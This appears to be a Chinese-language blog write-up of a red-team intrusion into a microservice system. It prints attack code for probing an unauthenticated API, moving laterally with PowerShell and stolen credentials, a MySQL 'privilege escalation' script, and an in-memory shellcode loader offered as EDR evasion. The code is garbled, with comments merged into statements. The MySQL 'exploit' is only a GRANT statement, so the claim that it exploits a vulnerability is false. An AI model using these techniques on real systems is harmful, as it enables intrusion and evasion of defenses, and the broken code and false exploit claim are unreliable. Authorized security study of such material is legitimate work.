0x01 初窥系统架构
在一次大型互联网公司担任红队成员的经历中,我的目标是入侵他们的关键业务系统。该系统由多个微服务组成,采用了Kubernetes进行编排与管理,数据库使用的是MySQL,前端则是一个流行框架构建的SPA应用。

这种系统架构给了攻击者无限的想象空间,因为微服务之间的通信、API接口的暴露、Kubernetes的配置都可能成为突破口。我在这次渗透测试中,通过一个未授权的API接口,成功获取了一个低权限的服务账号密码,从而开启了这次深入的攻防旅程。
收割API - 攻击链的起点
API接口往往是攻击链的起点,尤其是在微服务架构中,服务间的复杂调用可能会导致访问控制的疏忽。我发现了一个未授权的API接口,能够以GET请求的方式来访问用户数据。虽然数据不全,但这已足够让我进一步尝试。
Python代码分析API
<pre><code class="language-python">import requests
这个接口不需要身份验证,很好,我们来试试看
url = "http://targetsystem/api/v1/getUserData"
发起请求,注意异常处理哦
try: response = requests.get(url) if response.status_code == 200:
哇哦,居然成功返回了一些用户数据
print("User Data:", response.json()) else: print("Failed to get user data, status code:", response.status_code) except Exception as e: print("An error occurred:", e)</code></pre>
在这段代码中,我用了一段简单的Python脚本来验证API接口是否存在漏洞。常规的GET请求居然返回了用户数据,显然,这里存在一个严重的未授权访问漏洞。

横向移动 - 趁虚而入
通过API接口获得的用户数据中,我找到了一个服务账号的凭证。利用这个凭证,我开始在内部网络中横向移动。目标是尽可能获取更高权限的用户访问权。
PowerShell实现横向移动
<pre><code class="language-powershell"># 使用获得的凭证来登录其他系统 $username = "service_account" $password = "ServiceAccountPassword!" $securePassword = ConvertTo-SecureString $password -AsPlainText -Force $credential = New-Object System.Management.Automation.PSCredential($username, $securePassword)
试着访问其他机器
Invoke-Command -ComputerName targetPC -Credential $credential -ScriptBlock {
在目标机器上执行命令
whoami
打印当前用户身份
}</code></pre>
通过这段PowerShell脚本,我在内网中成功横向移动,访问到了其他机器。这个凭证让我在多台服务器上执行命令,进一步收集有用的信息。
权限提升 - 极致突破
在内网中横向移动时,我发现一台机器上存在一个未修补的MySQL数据库漏洞。利用此漏洞,我尝试提权,最终成功获取了数据库的root权限。
漏洞利用脚本
<pre><code class="language-python">import mysql.connector
连接数据库,老版本的MySQL有个提权漏洞,我们来试试看
def exploit_mysql(target, user, passwd): try:
连接到MySQL
conn = mysql.connector.connect(host=target, user=user, password=passwd) cursor = conn.cursor()
利用漏洞进行提权操作
cursor.execute("GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'root_password';") conn.commit()
检查提权是否成功
cursor.execute("SHOW GRANTS FOR 'root'@'%';") for grant in cursor: print(grant)
except mysql.connector.Error as err: print("Error:", err) finally: cursor.close() conn.close()
目标数据库信息
target = "target_db" user = "low_priv_user" passwd = "low_priv_password"
执行提权
exploit_mysql(target, user, passwd)</code></pre>
通过这个漏洞利用脚本,我成功地将一个低权限用户提升到了数据库的最高权限,获取了所有敏感数据。这是一次极其成功的权限提升攻击。
EDR绕过 - 隐匿踪迹
每次入侵成功后,如何绕过EDR(端点检测与响应)系统是保持隐匿的关键。在这次演练中,我通过自定义的Shellcode和内存加载技术,成功绕过了目标的EDR监控。
Shellcode免杀技术
<pre><code class="language-python">from ctypes import *
通过Shellcode加载执行,避免写入磁盘
shellcode = bytearray( b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
省略的Shellcode内容
)
def run_shellcode(sc):
分配内存,划分可执行权限
ptr = windll.kernel32.VirtualAlloc(None, len(sc), 0x3000, 0x40) buf = (c_char * len(sc)).from_buffer(sc)
复制Shellcode到内存
windll.kernel32.RtlMoveMemory(ptr, buf, len(sc))
创建一个新的线程,执行Shellcode
ht = windll.kernel32.CreateThread(None, 0, ptr, None, 0, None) windll.kernel32.WaitForSingleObject(ht, -1)
run_shellcode(shellcode)</code></pre>
这个脚本展示了如何通过Shellcode来执行恶意代码,而不用将其写入磁盘,从而规避EDR的检测。通过这种方式,我能够更持久地隐藏在目标系统中。
实战总结与经验

在这次红队演练中,我通过对目标API的利用,结合横向移动、权限提升与EDR绕过,成功获取了关键系统的控制权。这里的重要经验是:信息收集是关键,攻击链上的每一步都需要深思熟虑地扩展攻击面。
在真实环境中,没有一种攻击手法是万能的,每个步骤都需要根据实际情况灵活调整。在未来的工作中,我将继续提升这些技能,并不断探索新的攻击途径与技术。
合法声明:本文仅限授权安全测试,供安全研究人员学习。切勿用于非法用途,违者后果自负。